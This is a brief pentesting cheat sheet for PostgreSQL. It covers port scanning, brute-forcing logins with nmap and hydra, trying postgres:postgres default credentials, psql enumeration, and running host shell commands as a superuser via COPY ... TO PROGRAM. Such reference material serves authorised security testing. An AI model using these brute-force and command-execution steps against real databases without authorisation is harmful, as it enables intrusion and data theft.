Pentesting PostgreSQL Port 5432

Pentesting PostgreSQL

PostgreSQL is an open-source relational database that listens by default on TCP port 5432. It's common in Linux-heavy environments and behind web applications, and a misconfigured instance can hand over credentials, sensitive data, or command execution on the underlying host.

Discovery and Enumeration

1
nmap -p 5432 -Pn -n 10.1.1.0/24                        # Scan a network range for open port 5432
2
nmap -sV -p 5432 --script pgsql-brute 10.1.1.1          # Grab the version banner and probe for weak credentials

Brute Force Attacks

1
hydra -L users.txt -P passwords.txt postgres://10.1.1.1     # Brute-force PostgreSQL logins

Also worth trying the well-known default of postgres:postgres before reaching for a wordlist.

Connecting & Enumeration

Once installed, psql is the standard client for connecting and running queries interactively:

1
psql -h 10.1.1.1 -U postgres     # Connect, prompts for a password

From the psql shell, these commands cover most day-to-day enumeration:

1
SELECT version();                      -- Display the PostgreSQL version
2
\l                                      -- List databases
3
\c <db_name>                           -- Connect to a specific database
4
\dt                                     -- List tables in the connected database
5
\d <table_name>                        -- Describe a table's columns
6
SELECT * FROM <table_name> LIMIT 20;   -- Preview data from a table
7
\x                                      -- Toggle expanded display, useful for wide rows

Command Execution

If the connected role has superuser privileges, COPY ... TO/FROM PROGRAM can be used to run arbitrary shell commands on the database host:

1
COPY (SELECT '') TO PROGRAM 'id > /tmp/out.txt';   -- Run a command and redirect its output to a file
2
SELECT * FROM pg_roles WHERE rolsuper = true;       -- Confirm which roles hold superuser before relying on this

5432 - PostgreSQL